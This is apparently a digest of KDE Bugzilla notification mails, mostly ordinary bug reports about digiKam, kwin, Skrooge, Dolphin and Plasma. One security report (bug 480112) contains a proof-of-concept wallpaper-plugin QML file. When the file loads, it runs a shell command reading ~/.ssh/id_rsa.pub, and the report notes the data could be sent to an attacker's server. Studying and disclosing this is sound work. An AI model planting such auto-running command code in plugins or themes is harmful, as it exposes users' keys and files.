https://bugs.kde.org/show_bug.cgi?id=479724 --- Comment #9 from george fb --- I don't see how this could be an issue with Haruna since you say it works with 5.27 and mpv doesn't work either. Also I can't reproduce, I tested the flatpak on my OpenSUSE TW system and 2 VM, Ubuntu 22.04 and OpenSUSE Leap, and had no sound issues. -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 469310] digiKam won't import images that have emoji in the filename
https://bugs.kde.org/show_bug.cgi?id=469310 caulier.gil...@gmail.com changed: What|Removed |Added Version|8.0.0 |8.2.0 -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 468830] Metadata is lost after write operation when the size of XMP JPEG segment is larger than 65535 bytes when using Exiftool backend
https://bugs.kde.org/show_bug.cgi?id=468830 caulier.gil...@gmail.com changed: What|Removed |Added Version|8.1.0 |8.3.0 -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 480117] New: Tags are not added if their CASE doesn't match the case in the tag database.
https://bugs.kde.org/show_bug.cgi?id=480117 Bug ID: 480117 Summary: Tags are not added if their CASE doesn't match the case in the tag database. Classification: Applications Product: digikam Version: 8.2.0 Platform: Ubuntu OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Tags-Engine Assignee: digikam-bugs-n...@kde.org Reporter: b4yf823ap56y457945ty4...@protonmail.com Target Milestone: --- Created attachment 165089 --> https://bugs.kde.org/attachment.cgi?id=165089=edit ZIP file containing screenshots and an example album. SUMMARY *** If you import metadata for an image using an XMP sidecar file, and the sidecar contains a tag that is already in the tag database, but the CaSe doesn't match what is in the database, then the tag is ignored. Attached is a ZIP file with an example image and sidecar as well as some screenshots of the issue. The Tag "girl" is not imported and cannot be seen in Digikam. However in the tag manager the tag "GIRL" already exists. If I change the XMP sidecar tag to "GIRL" then it appears in Digikam. *** STEPS TO REPRODUCE 1. Add the tag "GIRL" to the database. 2. Enable Settings > Metadata > Read from sidecar files 2. Download the attached ZIP, extract it, and add the Album folder as an Album. OBSERVED RESULT The "girl" tag isn't imported. If you modify the sidecar file and change it to "GIRL" then re-read the metadata (Tools > Maintenance > Sync Metadata and Database > Sync Direction "From image metadata to database") it will appear in the list. EXPECTED RESULT One of them should be added, preferably whichever tag already exists in the database should be added. SOFTWARE/OS VERSIONS Linux/Ubuntu: 22.04.3 KDE Frameworks Version: 5.110.0 Qt Version: 5.15.11 (built against 5.15.11) ADDITIONAL INFORMATION I'm using a MySQL database. -- You are receiving this mail because: You are watching all bug changes.
[gwenview] [Bug 476995] The Folders pane only show subdirs one level deep
https://bugs.kde.org/show_bug.cgi?id=476995
Blazius changed:
What|Removed |Added
CC||eim7zu...@mozmail.com
--- Comment #3 from Blazius ---
Also confirming that I have encountered this bug for months (since at least
August 2023).
Gwenview Version: 23.08.4
The xcb windowing system
OS: Arch Linux
KDE Plasma Version: 5.27.10
KDE Frameworks Version: 5.114.0
Qt Version: 5.15.12
Kernel Version: 6.7.0-arch3-1 (64-bit)
Graphics Platform: X11
Processors: 16 × AMD Ryzen 7 5800X 8-Core Processor
Memory: 31.2 GiB of RAM
Graphics Processor: NVIDIA GeForce RTX 3060 Ti/PCIe/SSE2
Manufacturer: Gigabyte Technology Co., Ltd.
Product Name: B550M DS3H
This might be relevant, it is printed on console when trying for the first time
to expand a node in the Folders tree view:
org.kde.kdegraphics.gwenview.app: Found no root index for
QUrl("file:///home/blazius")
--
You are receiving this mail because:
You are watching all bug changes.
[digikam] [Bug 480116] Discrepancies in displayed tag information such as "_Digikam_root_tag_"
https://bugs.kde.org/show_bug.cgi?id=480116 Bravo Baavo changed: What|Removed |Added Summary|Discrepancies is displayed |Discrepancies in displayed |tag information such as |tag information such as |"_Digikam_root_tag_"|"_Digikam_root_tag_" -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 480116] New: Discrepancies is displayed tag information such as "_Digikam_root_tag_"
https://bugs.kde.org/show_bug.cgi?id=480116 Bug ID: 480116 Summary: Discrepancies is displayed tag information such as "_Digikam_root_tag_" Classification: Applications Product: digikam Version: 8.2.0 Platform: Ubuntu OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: Tags-Keywords Assignee: digikam-bugs-n...@kde.org Reporter: b4yf823ap56y457945ty4...@protonmail.com Target Milestone: --- Created attachment 165088 --> https://bugs.kde.org/attachment.cgi?id=165088=edit Screenshots of the issue and album with images and XMP sidecars. SUMMARY *** Some images show additional non-existent tags in different parts of the application. For example, if I click an image, open the Properties tab and then look at the Tags area it will show an additional non-existent tag called "_Digikam_root_tag_". All of my tags are important from side-car XMP files, but not all images appear to show this non-existent tag. The tag isn't listed in the thumbnail view nor does it show up in the list of assigned tags under Captions tab > Tags. At the same time, in the thumbnail view, sometimes an additional non-existent tag called "Tags" appears, this again doesn't appear in the Captions tab > Tags area, but it also doesn't appear in the Properties > Keywords area this time. In my examples, both of these issues appear on the same image but I'm unsure if they are related or not. I've attached the whole folder as a ZIP, if you import these as an album and have XMP side-car metadata files enabled, it will hopefully replicate the behaviour. Also attached are some images showing the error, and the XMP side-car files on their own. 115341660_p0.png.xmp is the sidecar that causes the issue. 101800994_p0 - 無題.png.xmp appears with no issues. *** STEPS TO REPRODUCE 1. Enable a MySQL Database. 2. Enable Settings > Metadata > Read from sidecar files 3. Download th attached ZIP, extract it, and add it as a new album. 4. Observe the imported images and their tags. OBSERVED RESULT One of the imported image shows additional non-existent tags. EXPECTED RESULT Only real tags should appear. SOFTWARE/OS VERSIONS Linux/Ubuntu: 22.04.3 KDE Frameworks Version: 5.110.0 Qt Version: 5.15.11 (built against 5.15.11) ADDITIONAL INFORMATION Using the AppImage with a MySQL Database. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 478376] Panel in "Dodge Windows" mode does not dodge window whose center is on other screen even when it touches the panel
https://bugs.kde.org/show_bug.cgi?id=478376 --- Comment #6 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/3795 -- You are receiving this mail because: You are watching all bug changes.
[kmail2] [Bug 480115] New: Original email does not get copied when replying to encrypted mail
https://bugs.kde.org/show_bug.cgi?id=480115 Bug ID: 480115 Summary: Original email does not get copied when replying to encrypted mail Classification: Applications Product: kmail2 Version: 5.24.4 Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: composer Assignee: kdepim-b...@kde.org Reporter: baltha...@balthasarmail.eu Target Milestone: --- SUMMARY When I reply to an email that was encrypted the original email does not get copied to the reply, like it would otherwise. STEPS TO REPRODUCE 1. get encrypted email 2. hit reply 3. observe that original email is missing OBSERVED RESULT On Sunday, January 21, 2024 1:43:30 AM CET you wrote: > EXPECTED RESULT On Sunday, January 21, 2024 1:43:30 AM CET you wrote: > SOFTWARE/OS VERSIONS See above ADDITIONAL INFORMATION I have my email server set up to encrypt any incoming email with my public key before saving to disk, so every email arrives at kmail encrypted and every reply is missing the original email, which is very annoying. Also basically this bug, but it is marked closed and 13 years old: https://bugs.kde.org/show_bug.cgi?id=258351 -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 479814] Desktop Cube Not Working for RC1
https://bugs.kde.org/show_bug.cgi?id=479814 v...@v0.vc changed: What|Removed |Added CC||v...@v0.vc -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 480114] New: Secondary monitor flickers when opening and closing a submenu in a GTK application
https://bugs.kde.org/show_bug.cgi?id=480114 Bug ID: 480114 Summary: Secondary monitor flickers when opening and closing a submenu in a GTK application Classification: Plasma Product: kwin Version: unspecified Platform: Arch Linux OS: Other Status: REPORTED Severity: normal Priority: NOR Component: compositing Assignee: kwin-bugs-n...@kde.org Reporter: juuso.maen...@tutanota.com Target Milestone: --- Created attachment 165087 --> https://bugs.kde.org/attachment.cgi?id=165087=edit The other screen looks black on the recording but is actually flickering. It goes back to normal after clicking on the screen SUMMARY *** NOTE: If you are reporting a crash, please try to attach a backtrace with debug symbols. See https://community.kde.org/Guidelines_and_HOWTOs/Debugging/How_to_create_useful_crash_reports *** When I open a submenu (dialog window) in any GTK app (tested on Bottles and Mission Center) and close it, the monitor that the app is not placed on starts to flicker until I click on the desktop on that monitor. STEPS TO REPRODUCE 1. Open any GTK application 2. Open a dialog window in the GTK application 3. Close the dialog window OBSERVED RESULT The screen not having the app starts to flicker. EXPECTED RESULT No screen flickering SOFTWARE/OS VERSIONS Windows: macOS: Linux/KDE Plasma: 6.7.0-arch3-1 (available in About System) KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.114.0 Qt Version: 5.12.12 ADDITIONAL INFORMATION Output from `journalctl --user-unit plasma-kwin_wayland`: ``` -- Boot 02fd652bb3164992b3ca29f11995e157 -- tammi 21 02:22:39 hostname systemd[599]: Starting KDE Window Manager... tammi 21 02:22:39 hostname systemd[599]: Started KDE Window Manager. tammi 21 02:22:39 hostname kwin_wayland[647]: No backend specified, automatically choosing drm tammi 21 02:22:39 hostname kwin_wayland[647]: OpenGL vendor string: AMD tammi 21 02:22:39 hostname kwin_wayland[647]: OpenGL renderer string: AMD Radeon RX 6600 (radeonsi, navi23, LLVM 16.0.6, DRM 3.56, 6.7.0-arch3-1) tammi 21 02:22:39 hostname kwin_wayland[647]: OpenGL version string: 4.6 (Core Profile) Mesa 23.3.3-arch1.1 tammi 21 02:22:39 hostname kwin_wayland[647]: OpenGL shading language version string: 4.60 tammi 21 02:22:39 hostname kwin_wayland[647]: Driver: Unknown tammi 21 02:22:39 hostname kwin_wayland[647]: GPU class: Unknown tammi 21 02:22:39 hostname kwin_wayland[647]: OpenGL version: 4.6 tammi 21 02:22:39 hostname kwin_wayland[647]: GLSL version: 4.60 tammi 21 02:22:39 hostname kwin_wayland[647]: Mesa version: 23.3.3 tammi 21 02:22:39 hostname kwin_wayland[647]: Linux kernel version: 6.7 tammi 21 02:22:39 hostname kwin_wayland[647]: Requires strict binding: no tammi 21 02:22:39 hostname kwin_wayland[647]: GLSL shaders: yes tammi 21 02:22:39 hostname kwin_wayland[647]: Texture NPOT support: yes tammi 21 02:22:39 hostname kwin_wayland[647]: Virtual Machine: no tammi 21 02:22:39 hostname kwin_wayland_wrapper[714]: (WW) Option "-listen" for file descriptors is deprecated tammi 21 02:22:39 hostname kwin_wayland_wrapper[714]: Please use "-listenfd" instead. tammi 21 02:22:39 hostname kwin_wayland_wrapper[714]: (WW) Option "-listen" for file descriptors is deprecated tammi 21 02:22:39 hostname kwin_wayland_wrapper[714]: Please use "-listenfd" instead. tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::begin: Paint device returned engine == 0, type: 3 tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setCompositionMode: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setPen: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setBrush: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setRenderHint: Painter must be active to set rendering hints tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::end: Painter not active, aborted tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::begin: Paint device returned engine == 0, type: 3 tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setCompositionMode: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setPen: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setBrush: Painter not active tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::setRenderHint: Painter must be active to set rendering hints tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::end: Painter not active, aborted tammi 21 02:22:39 hostname kwin_wayland[647]: QPainter::begin: Paint device returned engine == 0, type: 3 tammi 21
[digikam] [Bug 469310] digiKam won't import images that have emoji in the filename
https://bugs.kde.org/show_bug.cgi?id=469310 --- Comment #6 from Bravo Baavo --- (In reply to caulier.gilles from comment #5) > Bravo, > > What's about this file using current 8.2.0 AppImage Linux bundle ? It's > reproducible ? > > https://files.kde.org/digikam/ > > Thanks in advance > > Gilles Caulier Hi Gilles, Sorry for taking so long to get back to you, I tested today with 8.2.0 and can confirm the issue is still there. I think the database change did fix it, but it was reverted because it caused some other problems here https://bugs.kde.org/show_bug.cgi?id=431262#c19 Happy to test any further changes let me know. Kind regards, Bravo. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480106] plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106 Fushan Wen changed: What|Removed |Added Latest Commit|https://invent.kde.org/fram |https://invent.kde.org/fram |eworks/kcmutils/-/commit/be |eworks/kdeclarative/-/commi |5b413aa6c462173664085934a97 |t/c585d9b98e7eb517f87ac778d |0eafea7362d |d4c284f91429802 --- Comment #3 from Fushan Wen --- Git commit c585d9b98e7eb517f87ac778dd4c284f91429802 by Fushan Wen. Committed on 21/01/2024 at 01:32. Pushed by fusionfuture into branch 'kf5'. Show GridDelegate labels as plaintext (cherry picked from commit be5b413aa6c462173664085934a970eafea7362d) M +4-2src/qmlcontrols/kcmcontrols/qml/GridDelegate.qml https://invent.kde.org/frameworks/kdeclarative/-/commit/c585d9b98e7eb517f87ac778dd4c284f91429802 -- You are receiving this mail because: You are watching all bug changes.
[skrooge] [Bug 480113] New: Skrooge: bookmarking a page adds a & to the bookmark name
https://bugs.kde.org/show_bug.cgi?id=480113 Bug ID: 480113 Summary: Skrooge: bookmarking a page adds a & to the bookmark name Classification: Applications Product: skrooge Version: 2.30.0 Platform: Neon OS: Linux Status: REPORTED Severity: minor Priority: NOR Component: general Assignee: steph...@mankowski.fr Reporter: k...@callthecomputerdoctor.com Target Milestone: --- STEPS TO REPRODUCE 1. Bookmark a page, like Trackers 2. Open the Bookmarks panel OBSERVED RESULT Trackers appears as Trac Other bookmarked pages have a & in the name, like , or S operations EXPECTED RESULT There should be no & in the bookmark names SOFTWARE/OS VERSIONS Skrooge: 2.31.0 Operating System: KDE neon 5.27 KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.113.0 Qt Version: 5.15.11 Graphics Platform: X11 Theme: Kvantum-dark -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480106] plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106 Tobias Fella changed: What|Removed |Added Status|ASSIGNED|RESOLVED Resolution|--- |FIXED Latest Commit||https://invent.kde.org/fram ||eworks/kcmutils/-/commit/be ||5b413aa6c462173664085934a97 ||0eafea7362d --- Comment #2 from Tobias Fella --- Git commit be5b413aa6c462173664085934a970eafea7362d by Tobias Fella. Committed on 20/01/2024 at 23:47. Pushed by fusionfuture into branch 'master'. Show GridDelegate labels as plaintext M +2-0src/qml/components/GridDelegate.qml https://invent.kde.org/frameworks/kcmutils/-/commit/be5b413aa6c462173664085934a970eafea7362d -- You are receiving this mail because: You are watching all bug changes.
[skrooge] [Bug 479973] Skrooge doesn't remember last used pages on open
https://bugs.kde.org/show_bug.cgi?id=479973 --- Comment #4 from Michael --- One thing I noticed from having to experiment that wasn't mentioned in the documentation is that the order of bookmarks determines the ordering of the autoloaded pages. So whichever bookmarked page is last determines the currently focused/viewed page when Skrooge is re-opened. It's a bit awkward, but maybe it could be mentioned in the documentation. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 469016] Plasma panel visually (but not functionally) freezing on Wayland with Basic render loop and Non-Intel GPU when Task Manager previews are turned on
https://bugs.kde.org/show_bug.cgi?id=469016 --- Comment #99 from pallaswept --- It's 2. Myself and another user have demonstrated that the root cause of this is an issue with Plasma's interaction with pipewire, in various ways, not limited to video, or the panels.(grab the most recent attachment if you'd like to experience it in audio form, through a widget, or a stand-alone application like pavucontrol, yourself) We're being ignored - at least directly. Hopefully in spite of the lack of response, our discoveries have been fed to the devs and they'll actually fix it in 6. That being said, set your renderer settings to automatic (not OpenGL) and Threaded, and you'll have the workaround for the issue in the title (and the title of your duplicate), IF you have the right kind of video card, otherwise it will *maybe* fix the previews, and break a bunch of other stuff, and you have to go back to my original workaround of simply disabling previews, and wait for Plasma 6 so we can hopefully not run into this again -- You are receiving this mail because: You are watching all bug changes.
[skrooge] [Bug 479973] Skrooge doesn't remember last used pages on open
https://bugs.kde.org/show_bug.cgi?id=479973 --- Comment #2 from Michael --- Okay, thank you, that solved it, although it just wasn't intuitive to me that the bookmark system was where to look for making pages return. --- Comment #3 from Michael --- Okay, thank you, that solved it, although it just wasn't intuitive to me that the bookmark system was where to look for making pages return. -- You are receiving this mail because: You are watching all bug changes.
[skrooge] [Bug 479973] Skrooge doesn't remember last used pages on open
https://bugs.kde.org/show_bug.cgi?id=479973 --- Comment #2 from Michael --- Okay, thank you, that solved it, although it just wasn't intuitive to me that the bookmark system was where to look for making pages return. -- You are receiving this mail because: You are watching all bug changes.
[valgrind] [Bug 480052] WARNING: unhandled amd64-freebsd syscall: 580
https://bugs.kde.org/show_bug.cgi?id=480052 --- Comment #5 from asom...@gmail.com --- Thanks for the quick fix! It works for me. As for the other failures, they seem unrelated. It seems like the server thread (there are two threads) hangs when reading from /dev/fuse. The hangs only happen with some test cases and not others. I can't see any pattern behind which test cases hang and which don't. Is there any way that valgrind could introduce a deadlock? Perhaps the read from /dev/fuse triggers a signal, but the signal handler can't run because the first thread is blocked in the fspacectl syscall? -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 445058] kwin interactive console does not work
https://bugs.kde.org/show_bug.cgi?id=445058 v...@v0.vc changed: What|Removed |Added CC||v...@v0.vc -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 479900] Strongly request a message about switching to Maria DB at 50K files.
https://bugs.kde.org/show_bug.cgi?id=479900 --- Comment #6 from j...@acm.org --- (In reply to Maik Qualmann from comment #2) > Corrupt files are not caused by the database used. As Gilles already writes, > what do you mean by "corrupt", files no longer readable or just missing > metadata. > We have had users using SQLite with over 200,000 images. > Definitely check your drives for errors. I also work a little in this area > and SSD hard drives can also have very ugly data area errors. > > Maik But the Symptoms I was seeing seem to be caused by the database. 0 bad sectors on either drive. I've checked. Maria DB seems to have fixed the problem, but only going forward, the data loss seems to be permanent (not in the files, not in the database). First symptom? Select a tag in the left frame. Select images in the Thumbnails or Preview. Notice that some show no tags in the right frame, but when adding a tag, all the others miraculously appear. Later symptoms involve actual data loss. I;ve switched to MariaDB. I've now made a couple hundred thousand changes to the files (the easy ones). No data loss so far. Question. Are those with 200K images in SQL Lite on Windows? If not, the data may not apply. I'm using windows. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480011] plasmashell ui freeze via qdbus javascript infinite loop
https://bugs.kde.org/show_bug.cgi?id=480011 David Edmundson changed: What|Removed |Added Status|RESOLVED|CLOSED -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480011] plasmashell ui freeze via qdbus javascript infinite loop
https://bugs.kde.org/show_bug.cgi?id=480011 David Edmundson changed: What|Removed |Added CC||k...@davidedmundson.co.uk Status|REPORTED|RESOLVED Resolution|--- |NOT A BUG --- Comment #1 from David Edmundson --- This is expected behaviour -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480112] PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
https://bugs.kde.org/show_bug.cgi?id=480112 David Edmundson changed: What|Removed |Added Status|RESOLVED|CLOSED -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480112] PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
https://bugs.kde.org/show_bug.cgi?id=480112 David Edmundson changed: What|Removed |Added Resolution|--- |INTENTIONAL Status|REPORTED|RESOLVED --- Comment #1 from David Edmundson --- Same as installing any program. -- You are receiving this mail because: You are watching all bug changes.
[frameworks-ktexteditor] [Bug 447740] Crash in QAccessible::queryAccessibleInterface
https://bugs.kde.org/show_bug.cgi?id=447740 --- Comment #30 from doc.ev...@gmail.com --- (In reply to Igor Kushnir from comment #28) > (In reply to doc.evans from comment #26) > > So I am quite puzzled by the above. I obviously have KDE installed, > > otherwise I could not be using kdevelop. But I'm not actually running KDE as > > a desktop environment on either of the machines here that exhibit the > > problem. So is there some KDE-related config file somewhere that I should > > edit in order to be sure that accessibility support is turned off when I run > > kdevelop? > The commit adds at option to turn accessibility off into the > Editor=>Editing=>General page of the Configure KDevelop dialog. However the > commit wasn't cherry picked into the kf5 branch. So it will become available > in KDevelop only once it is ported to KF6. If someone can confirm that > patching a KF5 version of KTextEditor with the commit and turning > accessibility off eliminates this crash, then maybe we could cherry-pick it > into the kf5 branch of KTextEditor. I have no way to test anything... just an ordinary user... but I got hit with this five times in less than an hour a couple of days ago when I was trying to tidy up some code, so am seriously thinking of going back to codelite (which certainly has problems of its own, which is why I left it in favour of kdevelop, but at least it doesn't crash), just because this bug is so frustrating and keeps getting in the way of the task at hand -- it feels like driving a car that stalls every few miles :-( -- yes, you can get the job done, but you waste an awful lot of time trying to get the car restarted (or recovering from the kdevelop crash). -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 478770] overview effect leaks memory
https://bugs.kde.org/show_bug.cgi?id=478770 Kenneth changed: What|Removed |Added CC||qufiwefefw...@gmail.com --- Comment #6 from Kenneth --- *** Bug 480100 has been marked as a duplicate of this bug. *** -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 480100] Memory is not released after activating overview/show desktops effects leading to OOM killing of plasmashell and kwin
https://bugs.kde.org/show_bug.cgi?id=480100 Kenneth changed: What|Removed |Added Resolution|--- |DUPLICATE Status|REPORTED|RESOLVED --- Comment #4 from Kenneth --- *** This bug has been marked as a duplicate of bug 478770 *** -- You are receiving this mail because: You are watching all bug changes.
[kmymoney] [Bug 469431] Need better way to handle changes in stock price quote source
https://bugs.kde.org/show_bug.cgi?id=469431 Brendan changed: What|Removed |Added CC||k...@coupe7.com --- Comment #48 from Brendan --- As a user for almost 20 years I find this comment pretty insulting to the developers and the users. "kmm is not for the masses, it is an experimental tool with no visible development, non existent documentation and "mail lists"." Go find a version from 20 years ago and tell me there has been no visible development. I'm extremely glad that's not what I was told before I started using KMM. I have found the developers to be very helpful when I run into issues and Thomas has gone way above and beyond helping track down online banking issues for me over the years. While development has essentially stopped on 5.1 for a while now, that's because the focus is on the master version, which you are welcome to run. Of course, it's not released so it's actually experimental to some degree. The Yahoo issue has been a problem, but blaming the KMM team make little sense. It would be nice to find the perfect solution, but sometimes that's in the eye of the beholder. I have no problem editing the Yahoo settings when there is a problem. Tracking down the latest settings is usually as easy as asking on the mailing list if you don't find it there already. I also compile KMM weekly (when things were changing) so updating through the code works for me but releases are pretty rare so that's not a great option for everyone. Maybe a simple link on the "Update Stock and Currency" window to a web page that has the latest settings for online quotes would help. Maybe a link to the KMM Online Quote Settings page in the same window would also help, but I'm not sure that's possible with the existing code. For now, I hope they focus on releasing the master and then maybe some wishlist items can get in their queue. They say you get what you pay for but I think KMM is an example where we get a lot more than we pay for. I suggest you either offer helpful suggestions and deal with what we have or find some other program to track you finances. Or better yet, join the development team and make some visible improvements. Brendan Coupe -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 468830] Metadata is lost after write operation when the size of XMP JPEG segment is larger than 65535 bytes when using Exiftool backend
https://bugs.kde.org/show_bug.cgi?id=468830 Chris changed: What|Removed |Added CC||chrisc.gigam...@gmail.com --- Comment #18 from Chris --- I tried today with digiKam-8.3.0-20240120T105916-Win64.exe Metadata is no longer deleted, but keywords added (tags from the tags tree) are not longer written to the file. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480112] New: PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
https://bugs.kde.org/show_bug.cgi?id=480112
Bug ID: 480112
Summary: PlasmaCore.DataSource "executable" engine arbitrary
code execution via any QML file in backdoored
wallpaper plugins, themes, etc. distributed via
store.kde.org
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Other
OS: Linux
Status: REPORTED
Severity: normal
Priority: NOR
Component: general
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: k...@davidedmundson.co.uk, secur...@kde.org
Target Milestone: 1.0
SUMMARY
***
PlasmaCore.DataSource offers the "executable" engine which allows malicious
packages from store.kde.org to execute arbitrary code through QML files
embededded in themes, wallpaper pugins, and more.
This is a critical design problem of PlasmaCore.DataSource which gets
exaberated by the lack of security auditing at store.kde.org (with no malware
scanning as demonstrated by finding various malicious .exe files embedded in
archives distributed via the KDE in the recent days), and the tight integration
of the store.kde.org system into the plasma interface.
Users can right click on the desktop, click "configure desktop and wallpaper",
then click "get new plugins" and the "download new wallpaper plugins - plasma"
shopping dialog pops up. By default, this shop is sorted by "most recent",
which makes it very easy for an attacker to get initial infections. You can
hover any listing in the window and an "install" button shows up in the plasma
interface. After you click install, the user can immediately click "run" to
execute the user-generated, untrusted package containing QML code with the
potential for arbitrary code execution and arbitrary reading in the context of
the user.
***
The KDE devs are aware of this problem, because in QML context, a
XMLHTTPRequest to read the SSH private key from ~/.ssh/id_rsa.pub is rejected
with error: "XMLHttpRequest: Using GET on a local file is dangerous and will be
disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if
you wish to continue using this feature."
```
var xhr = new XMLHttpRequest;
xhr.open("GET", "~/.ssh/id_rsa.pub");
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var response = xhr.responseText;
// use file contents as required
console.log(response)
}
};
xhr.send();
```
However, in plain QML you can execute arbitrary commands and read arbitrary
user data with the the following `config.qml` embedded for example in an
"plasma wallpaper plugin". Then a backdoored theme package downloaded from
store.kde.org could send this data to an attack-controlled server.
```
import QtQuick 2.1
import QtQuick.Layouts 1.1
import QtQuick.Controls 2.8
import org.kde.plasma.core 2.0 as PlasmaCore
import org.kde.kirigami 2.4 as Kirigami
Item {
id: page
width: childrenRect.width
height: childrenRect.height
property alias cfg_start_branches : start_branches.value;
property alias cfg_scale : scale.value;
PlasmaCore.DataSource {
id: executable
engine: "executable"
connectedSources: []
onNewData: {
var exitCode = data["exit code"]
var exitStatus = data["exit status"]
var stdout = data["stdout"]
var stderr = data["stderr"]
exited(sourceName, exitCode, exitStatus, stdout, stderr)
disconnectSource(sourceName) // cmd finished
}
function exec(cmd) {
connectSource(cmd)
}
signal exited(string command, int exitCode, int exitStatus, string
stdout, string stderr)
}
Connections {
target: executable
onExited: {
console.log("onExited stdout", stdout)
}
}
Component.onCompleted: {
executable.exec("/usr/bin/cat ~/.ssh/id_rsa.pub")
}
Kirigami.FormLayout {
anchors.left: parent.left
anchors.right: parent.right
// Label {
// anchors.verticalCenter: parent.verticalCenter
// rightPadding: 15
// text: i18n("Start Branches") + " (" + start_branches.value + ")"
// }
PlasmaComponents.Slider {
id: start_branches
Kirigami.FormData.label: i18n("Stat Branches123123 (%1)",
start_branches.value)
from: 1
to: 10
value: 3
snapMode: Slider.SnapAlways
stepSize: 1
}
// Label {
// anchors.verticalCenter: parent.verticalCenter
// rightPadding: 15
// text: i18n("Scale (%1)", scale.value)
// }
PlasmaComponents.Slider {
id: scale
Kirigami.FormData.label: i18n("Scale (%1)", scale.value)
from: 1
[dolphin] [Bug 480111] New: Deleting a symlink is impossible if the disk of the target is close to full
https://bugs.kde.org/show_bug.cgi?id=480111 Bug ID: 480111 Summary: Deleting a symlink is impossible if the disk of the target is close to full Classification: Applications Product: dolphin Version: 23.08.4 Platform: Manjaro OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: general Assignee: dolphin-bugs-n...@kde.org Reporter: sasori.n...@gmail.com CC: kfm-de...@kde.org Target Milestone: --- SUMMARY I have 2 HDDs, drive A and drive B. Drive A is close to full (only 50GB left). Drive A also contains a 60GB file (file_1). I create a symlink to this file on drive B. I select the symlink, hit "delete" and I see a message "There is not enough space on the disk to write file:///mnt/driveB/file_1". The only way I can delete the symlink is to drop to a console (or unplug drive A, that seems to work too, since this makes the symlink invalid -> 0B). Short of that available space problem, the symlink gets deleted normally, on the same drive's trash as the symlink (no cross-filesystem move), so that part works fine. It's only the pre-delete check that seem to make weird assumptions. STEPS TO REPRODUCE 1. Have two drives, one close to full (drive A), the other not (drive B) 2. Find a file on drive A with a size greater than the remaining space available on A (create it if necessary). 3. Create a symlink to that file on drive B. 4. Select the symlink, hit delete. OBSERVED RESULT A message "There is not enough space on the disk to write file:///path/to/driveB/big_file" appears. EXPECTED RESULT The symlink should be in drive B's trash. SOFTWARE/OS VERSIONS Linux: Linux kernel 6.1.71-1-MANJARO (64-bit) KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.113.0 Qt Version: 5.15.12 -- You are receiving this mail because: You are watching all bug changes.
[Spectacle] [Bug 468778] Add screen recording options to "no screenshot taken on launch" window
https://bugs.kde.org/show_bug.cgi?id=468778 --- Comment #7 from Noah Davis --- (In reply to fanzhuyifan from comment #6) > Thanks! Should this be marked as assigned then? No, we have a bot that auto-assigns when someone posts a relevant merge request if they put "BUG: 468778" in the description. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480106] plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106 Bug Janitor Service changed: What|Removed |Added Ever confirmed|0 |1 Status|REPORTED|ASSIGNED --- Comment #1 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/frameworks/kcmutils/-/merge_requests/197 -- You are receiving this mail because: You are watching all bug changes.
[Spectacle] [Bug 468778] Add screen recording options to "no screenshot taken on launch" window
